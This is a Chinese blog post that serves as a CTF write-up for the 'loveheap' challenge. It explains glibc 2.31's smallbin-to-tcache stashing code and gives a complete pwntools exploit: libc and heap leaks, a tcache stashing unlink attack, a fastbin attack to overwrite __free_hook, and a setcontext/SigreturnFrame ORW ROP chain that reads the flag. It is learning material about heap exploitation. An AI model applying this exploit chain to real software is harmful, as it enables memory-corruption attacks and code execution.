以loveheap的学习记录

最近朋友推荐我看看这道题目可以学到好多,我就记录一下学习的过程,最近在学基础点的东西,做南京大学的pa,没怎么更新博客,刚好也记录点东西。

在看题目之前先看看tcache Stashing unlink attack 是怎么攻击的

tcache Stashing unlink attack

我们先看看small bin chunk申请的代码

  /*
If a small request, check regular bin. Since these "smallbins"
hold one size each, no searching within bins is necessary.
(For a large request, we need to wait until unsorted chunks are
processed to find best fit. But for small ones, fits are exact
anyway, so we can check now, which is faster.)
*/
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ( ( victim = last (bin) ) != bin )
{
// 先获取一下small bin chunk的倒数第二个chunk。
bck = victim->bk;
//检查我们刚获取的bck->fd是不是 victim,以防止伪造
if ( __glibc_unlikely( bck->fd != victim ) )
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE //如果程序启用了Tcache
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while ( tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin) ) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
}
}
}
#endif

void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

我们可以看到,这里存在校验来保证获取的chunk不会被伪造

我们再仔细看看tcache部分

#if USE_TCACHE //如果程序启用了Tcache
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
//找到对应size的small_bin链表
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
//判断刚才获取size的chunk链表是否
//判断该size的small bin是否为空
while ( tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin) ) != bin)
{
//如果chunk存在
if (tc_victim != 0)
{
// 找到其上面一个chunk
bck = tc_victim->bk;
//设置标志位
set_inuse_bit_at_offset (tc_victim, nb);
// 如果small bin不为空
if (av != &main_arena)
set_non_main_arena (tc_victim);
//取出Chunk
bin->bk = bck;
bck->fd = bin;
//放入到Tcache中
tcache_put (tc_victim, tc_idx);
}
}
}
#endif

我们可以发现这里没有经过之前的校验,

bck = victim->bk;
//检查我们刚获取的bck->fd是不是 victim,以防止伪造
if ( __glibc_unlikely( bck->fd != victim ) )
malloc_printerr ("malloc(): smallbin double

可以使用上面的代码绕过校验将伪造的chunk放入tcache,与此同时我们的问题出现了,一般情况下我们无法绕过tcahe将small bin中放入chunk,也不能越过tcache从small bin中取出chunk。

但是还是有特例的,callioc函数可以绕过tcache从small bin中获取chuank

还有当unsorted bin的last remainder基址,申请chunk大于unsorted bin的大小,且其为unsorted bin中唯一chunk的话,该chunk不会进入tcache。

对于这道题一样的我们可以采取这种攻击方式

from pwn import *
context.log_level = "debug"
context.arch = 'amd64'
context.binary = elf = ELF("./loveheap")
libc=ELF('./libc-2.31.so')

ru = lambda p, x : p.recvuntil(x)
sn = lambda p, x : p.send(x)
rl = lambda p : p.recvline()
sl = lambda p, x : p.sendline(x)
rv = lambda p, x=1024 : p.recv(numb = x)
sa = lambda p, a, b : p.sendafter(a,b)
sla = lambda p, a, b : p.sendlineafter(a,b)
rr = lambda p, t : p.recvrepeat(t)
rd = lambda p, x : p.recvuntil(x, drop=True)

def recv(flag='libc'):
if flag == 'heap':
leak=u64(rv(io,6).ljust(8,b'\x00'))
if flag == 'libc':
leak=u64(ru(io,'\x7f')[-6:].ljust(8,b'\x00'))
return leak

io=process('./loveheap')

def add(size):
sla(io,'>>','1')
sla(io,'Please input the size\n',str(size))
def delete(idx):
sla(io,'>>','2')
sla(io,'Pls input the idx\n',str(idx))
def edit(idx,cont):
sla(io,'>>','3')
sla(io,'Pls input the idx\n', str(idx))
sa(io,'Pls input the content:\n', cont)
def show(idx):
sla(io,'>>','4')
sla(io,'Pls input the idx\n', str(idx))

#************
#1.填满tcache
#************

for i in range(8):
add(0x68) # 0-7 多释放一个fast bin 来为后面fast bin attack做准备
delete(i)

for i in range(6):
add(0x90) # 8-13
for i in range(6):
delete(i+8)

for i in range(7):
add(0x190) # 14-20
for i in range(7):
delete(i+14)

for i in range(7):
add(0xe0) # 21-27
for i in range(7):
delete(i+21)

#************
#2.泄露地址
#************

add(0x190)#28
add(0x1f0)#29
add(0x190)#30
add(0x1f0)#31
add(0x1f0)#32

delete(28)# tcache 被填满了 放入unsorted bin
show(28)

un_addr=recv()
success('un_addr : '+hex(un_addr))
libc.address=un_addr-0x1ebbe0
open_addr=libc.sym['open']
read_addr=libc.sym['read']
write_addr=libc.sym['write']
setcontext_addr=libc.sym['setcontext']
success('setcontext_addr : '+hex(setcontext_addr))
show(2)
heap_base = recv('heap') - 0x2a0 - 0x70 #泄露tcache chunk的fd
success('heap_base : '+hex(heap_base))

#*****************************
#3.tcache stash unlink attack
#*****************************
add(0xf0)#33 从unsorted bin 中切割申请
delete(30)# 将chunk放入unsorted bin
add(0xf0)#34 从unsorted bin 中切割申请 此时unsorted bin中为俩个0xa0大小的chunk
add(0x190)#35 申请该chunk将unsorted bin中的chunk放入small bin中
edit(30,b'a'*0xf0+p64(0)+p64(0xa1)+p64(heap_base+0x1cc0)+p64(libc.sym['__free_hook']-0x30))#这里我们前面的部分是已经申请出去的0x100大小的chunk,后面是放在small bin里大小0xa0的chnk,这里是为了后面tcache stash unlink attack攻击做准备
add(0x90)#36 申请chunk,同时将已经改写的chunk放入tcache,这样会在free_hook附近写下一个main_arena附近的值,也就是small bin的地址

至此我们已经将freehook附近写下了0x7f,接下来只要进行fastbin attack即可。

我们先写好ORW,后面通过setcont来执行rop即可

edit(7,p64(libc.sym['__free_hook']-0x23))

add(0x68)#37 7
add(0x68)#38 申请出free hook
pop_rdi_ret=libc.address+0x26b72
pop_rsi_ret=libc.address+0x27529
pop_rdx_r12_ret=libc.address+0x11c371
xor_eax_eax_ret=libc.address+0x44148
edit(29,'flag')#写入flag字符

payload = p64(pop_rdi_ret)+p64(heap_base+0x1d70)+p64(pop_rsi_ret)+p64(0)+p64(open_addr)
payload+= p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(heap_base+0x1cd0)+p64(pop_rdx_r12_ret)+p64(0x30)+p64(0)+p64(read_addr)
payload+= p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(heap_base+0x1cd0)+p64(pop_rdx_r12_ret)+p64(0x30)+p64(0)+p64(write_addr)

edit(31,payload)

这里我们给一个2.29后setcont的方案,我们可以用frame.set_regvalue("&fpstate",heap_base)来保证程序的正常运行。这里的heapbase只要是合法地址就可以了。

这样我们只需要跳转到setcontext函数头从而可以避免新版本rdx被替换为rdi的问题,可以直接从头开始进入程序。

frame = SigreturnFrame()
frame.rsp = heap_base + 0x2110
frame.rip = xor_eax_eax_ret
frame.set_regvalue("&fpstate",heap_base)#防止fldenv [rcx]使得程序crash

payload = bytes(frame)+p64(heap_base)
edit(32,payload)

edit(38,b'a'*19+p64(libc.sym['setcontext']))#改写free hook
gdb.attach(io,'b del')
pause()
delete(32)
pause()
io.interactive()

io_file

Author: Kr0emer
Link: http://kr0emer.com/2021/11/12/以loveheap的学习记录/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.